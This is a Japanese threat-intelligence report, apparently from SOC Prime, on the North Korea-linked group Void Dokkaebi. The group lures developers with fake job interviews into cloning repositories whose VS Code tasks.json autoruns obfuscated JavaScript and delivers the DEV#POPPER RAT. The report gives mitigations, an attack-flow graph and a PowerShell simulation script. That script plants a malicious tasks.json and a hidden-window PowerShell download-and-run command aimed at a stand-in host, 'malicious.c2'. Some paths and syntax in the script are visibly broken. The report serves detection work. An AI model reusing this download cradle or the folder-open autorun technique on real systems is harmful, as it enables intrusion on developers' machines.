Void DokkaebiがGitリポジトリを通じてマルウェアを拡散するために使用する偽面接

Ruslan Mikhalov SOC Primeの脅威リサーチ責任者

フォローする

Void DokkaebiがGitリポジトリを通じてマルウェアを拡散するために使用する偽面接

Detection stack

AIDR
Alert
ETL
Query

脅威レポート
攻撃フロー
検出
シミュレーション

概要

Void Dokkaebiは、北朝鮮と関連のある脅威グループで、開発者をフェイクの求人面接で誘い込み、悪意のあるリポジトリをクローンさせています。これらのリポジトリは、VS Codeのタスクに注入されたコードと難読化されたJavaScriptを悪用し、信頼されたコードプロジェクトを自動的なマルウェア配信のチャネルに変えます。感染したリポジトリは、開発者環境や接続されたエコシステム全体に感染を広める可能性があります。

調査

Trend Microは、750以上の感染した公開リポジトリ、500以上の悪意のあるVS Codeタスク設定、コミットの改ざんを狙ったカスタムバッチスクリプトを含む101件のケースを発見しました。分析の結果、悪意のあるコードはブロックチェーンベースのサービスを通じてペイロードを取得し、最終的にDEV#POPPER RATの変種を配信していました。そのマルウェアはWebSocketとHTTPベースのチャネルを通じて攻撃者のインフラストラクチャと通信しています。

緩和策

推奨される防御策には、面接過程で受け取ったコードの隔離、以下の設定追加 .vscode/ to .gitignore, 署名されたコミットとブランチ保護の実施、既知の感染マーカーに対するリポジトリの監査が含まれます。セキュリティチームは、ブロックチェーンAPIトラフィックの疑わしい動きを監視し、特定された指令・制御URLへのアクセスをブロックする必要があります。開発者は、VS Codeのワークスペース信頼プロンプトを意義深いセキュリティチェックポイントとして扱い、単なるルーチンのクリックスルーとしないようにするべきです。

対応策

感染が疑われる場合、即座に影響を受けた作業環境を隔離し、露出した資格情報を取り消し、悪意のある .vscode のタスクファイルと注入されたJavaScriptを削除し、影響を受けたリポジトリを完全にレビューしてください。ネットワーク防御もまた、既知の指令・制御パターンを検出し、特定されたブロックチェーンエンドポイントへのアウトバウンド通信をブロックするように更新されるべきです。

"graph TB %% Class definitions classDef stage fill:#e6f7ff classDef technique fill:#fff2cc classDef file fill:#f0e68c classDef malware fill:#ffcccc classDef indicator fill:#d9ead3 %% Node definitions stage_initial["Stage – 初期アクセス 攻撃者が偽の面接と悪意のあるGitリポジトリで開発者を誘う"] class stage_initial stage tech_user_exec["Technique – T1204 ユーザー実行 被害者がリンクやコピーしたコードなどの悪意のあるコンテンツを実行する"] class tech_user_exec technique tech_malicious_link["Technique – T1204.001 悪意のあるリンク リンクが被害者を悪意のあるリポジトリに誘導する"] class tech_malicious_link technique tech_malicious_copy["Technique – T1204.004 悪意のあるコピーとペースト 開発者が悪意のあるリポジトリからコードをコピーする"] class tech_malicious_copy technique stage_repo_harvest["Stage – リポジトリ収穫 クローンしたリポジトリによりソースコードや潜在的な資格情報にアクセスできる"] class stage_repo_harvest stage tech_code_repo["Technique – T1213.003 情報リポジトリからのデータ: コードリポジトリ 敵対者がコードリポジトリからデータを抽出する"] class tech_code_repo technique stage_execution_vs["Stage – VS Codeによる実行 .vscode/tasks.jsonがフォルダを開いた際に自動的にダウンローダーを実行する"] class stage_execution_vs stage tech_trusted_ide["Technique – T1127 信頼された開発者ユーティリティのプロキシ実行 信頼されたIDE拡張機能の悪用によるコード実行"] class tech_trusted_ide technique tech_ide_ext["Technique – T1176.002 ソフトウェア拡張: IDE拡張 悪意のあるtasks.jsonが実行をトリガーする"] class tech_ide_ext technique file_tasks_json["File – .vscode/tasks.json フォルダオープン時にダウンローダーを起動するように設定されている"] class file_tasks_json file stage_payload_retrieval["Stage – ペイロード取得 ダウンローダーがブロックチェーンRPCエンドポイントからペイロードを取得する"] class stage_payload_retrieval stage tech_resource_hijack["Technique – T1496 リソースハイジャック ブロックチェーンインフラをペイロード配信に利用する"] class tech_resource_hijack technique tech_obfuscation["Technique – T1027.007 隠されたファイルまたは情報: 動的API解決 コードがAPIエンドポイントを隠し、ランタイムで解決する"] class tech_obfuscation technique indicator_blockchain["Indicator – アウトバウンドブロックチェーンRPC接続 api.trongrid.io、aptoslabs.com、BSC RPCへの呼び出し"] class indicator_blockchain indicator stage_module_hijack["Stage – モジュールハイジャック 隠された.node_modulesディレクトリが悪意のあるNodeモジュールをプレロードするために配置される"] class stage_module_hijack stage tech_shared_modules["Technique – T1129 共有モジュール 悪意のあるモジュールが正規のモジュールより前にロードされる"] class tech_shared_modules technique file_node_modules["File – .node_modulesディレクトリ ハイジャックされたモジュールを含む"] class file_node_modules file stage_rat_deployment["Stage – RAT配備 DEV#POPPER RATの変種がWebSocket C2を確立し、データを流出させる"] class stage_rat_deployment stage malware_devpopper["Malware – DEV#POPPER RAT WebSocket C2、ファイル流出、CI/CDパイプラインを回避"] class malware_devpopper malware indicator_c2["Indicator – WebSocket C2 URL"] class indicator_c2 indicator stage_persistence["Stage – 永続化とコミットの改ざん 設定ファイルに悪意のあるJavaScriptが注入され、バッチスクリプトがコミットを改ざんする"] class stage_persistence stage tech_timestomp["Technique – T1070.006 インジケータの除去: Timestomp システム時間を変更してコミットを遡って記録する"] class tech_timestomp technique file_postcss["File – postcss.config.mjs 難読化されたJavaScriptが注入されている"] class file_postcss file file_batch["File – temp_auto_push.bat コミット改ざんと強制pushを自動化する"] class file_batch file stage_propagation["Stage – 伝播 悪意のある.vscodeフォルダとコードがコミットされ、下流の開発者に感染が引き継がれる"] class stage_propagation stage tech_propagation["Technique – T1127 信頼された開発者ユーティリティのプロキシ実行 クローンされたリポジトリにおけるIDEの繰り返し悪用"] class tech_propagation technique tech_repo_spread["Technique – T1213.003 情報リポジトリからのデータ リポジトリの共有を通じて悪意のあるコードが広がる"] class tech_repo_spread technique indicator_detection["Indicator – 検出IOC ブロックチェーンRPC、WebSocket C2、/verify-human/および/u/f HTTPパス"] class indicator_detection indicator %% Connections stage_initial –>|uses| tech_user_exec tech_user_exec –>|includes| tech_malicious_link tech_user_exec –>|includes| tech_malicious_copy tech_malicious_link –>|delivers| stage_repo_harvest tech_malicious_copy –>|delivers| stage_repo_harvest stage_repo_harvest –>|exploits| tech_code_repo stage_repo_harvest –>|leads to| stage_execution_vs stage_execution_vs –>|uses| tech_trusted_ide stage_execution_vs –>|uses| tech_ide_ext stage_execution_vs –>|executes| file_tasks_json stage_execution_vs –>|triggers| stage_payload_retrieval stage_payload_retrieval –>|uses| tech_resource_hijack stage_payload_retrieval –>|uses| tech_obfuscation stage_payload_retrieval –>|creates| indicator_blockchain stage_payload_retrieval –>|leads to| stage_module_hijack stage_module_hijack –>|uses| tech_shared_modules stage_module_hijack –>|contains| file_node_modules stage_module_hijack –>|leads to| stage_rat_deployment stage_rat_deployment –>|deploys| malware_devpopper malware_devpopper –>|communicates with| indicator_c2 stage_rat_deployment –>|prepares for| stage_persistence stage_persistence –>|uses| tech_timestomp stage_persistence –>|modifies| file_postcss stage_persistence –>|runs| file_batch stage_persistence –>|enables| stage_propagation stage_propagation –>|uses| tech_propagation stage_propagation –>|uses| tech_repo_spread stage_propagation –>|produces| indicator_detection "

攻撃フロー

攻撃の説明とコマンド：
開発者が悪意のあるリポジトリをクローンするように説得した攻撃者は、秘密のVS Code tasks.json をプロジェクトの .vscode フォルダにドロップします。このタスクは、システムの一時ディレクトリにある temp_auto_push.bat スクリプトを参照しています。このバッチファイルは、難読化されたJavaScriptスニペットからオンザフライで生成され global['!'] and global['_V']のマーカーを埋め込んでいます。開発者がVS Codeでフォルダを開くと、タスクが自動実行され、バッチファイルが実行され、最終的にC2サーバーに接続します。この連鎖は T1053.007 (VS Codeタスク), T1127.003 (バッチを介した持続的ショートカット), および T1027.007 (難読化)を満たします。

手順は以下の通りです：
1. 悪意のある tasks.json を必要な文字列で配置します。
2. 難読化されたJavaScriptを作成し で評価された場合に temp_auto_push.bat が含まれる悪意のあるコマンドを書き込む
3. の存在確認 VS Codeタスクの実行をトリガー （CLIでタスクを発動させることでシミュレーション） コード –folder-uri

回帰テストスクリプト：

# -------------------------------------------------
# Void Dokkaebi VS Code Task & Obfuscated JS Simulation
# -------------------------------------------------
$vscodeDir = "$env:USERPROFILE.vscode"
$taskFile  = Join-Path $vscodeDir "tasks.json"
$tempBat   = "$env:TEMPtemp_auto_push.bat"
$jsPayload = @"
(function(){
var g = global;
g['!'] = true;    // 検出用マーカー
g['_V'] = 'payload';
var cmd = 'powershell -nop -w hidden -c "IEX ((New-Object Net.WebClient).DownloadString(''http://malicious.c2/payload.ps1''))"';
var fso = new ActiveXObject('Scripting.FileSystemObject');
var file = fso.CreateTextFile('$tempBat', true);
file.WriteLine(cmd);
file.Close();
})();
"@

# 1. .vscodeフォルダが存在することを確認
New-Item -ItemType Directory -Path $vscodeDir -Force | Out-Null

# 2. 悪意のあるtasks.jsonを記述
@"
{
"version": "2.0.0",
"tasks": [
{
  "label": "AutoPush",
  "type": "shell",
  "command": "cscript //nologo //E:jscript //B - <<'JS'n$jsPayloadnJS"
}
]
}
"@ | Set-Content -Path $taskFile -Encoding UTF8

# 3. (任意）タスクを直接発行してVS Codeの自動実行を模倣
# 注意: 実際の環境ではVS Codeがこのタスクを解析して実行します。
Write-Host "悪意のあるVS Codeタスクが配備されました。シミュレーションによって発動中..."
cscript //nologo //E:jscript //B - <<'JS'
$jsPayload
JS

Write-Host "シミュレーションが完了しました。SIEMでアラートを確認してください。"

クリーンアップコマンド：

# 悪意のあるアーティファクトを削除
Remove-Item -Path "$env:USERPROFILE.vscodetasks.json" -Force -ErrorAction SilentlyContinue
Remove-Item -Path "$env:TEMPtemp_auto_push.bat" -Force -ErrorAction SilentlyContinue
# テストのために作成された.vscodeディレクトリをオプションでクリア
if ((Get-ChildItem "$env:USERPROFILE.vscode").Count -eq 0) {
    Remove-Item -Path "$env:USERPROFILE.vscode" -Force -Recurse -ErrorAction SilentlyContinue
}
Write-Host "クリーンアップが完了しました。"

SOC PrimeのDetection as Codeプラットフォームに参加し ビジネスに最も関連性のある脅威に対する可視性を向上させましょう。開始して即座に価値をもたらすためには、今すぐSOC Primeの専門家とのミーティングを予約してください。

無料で参加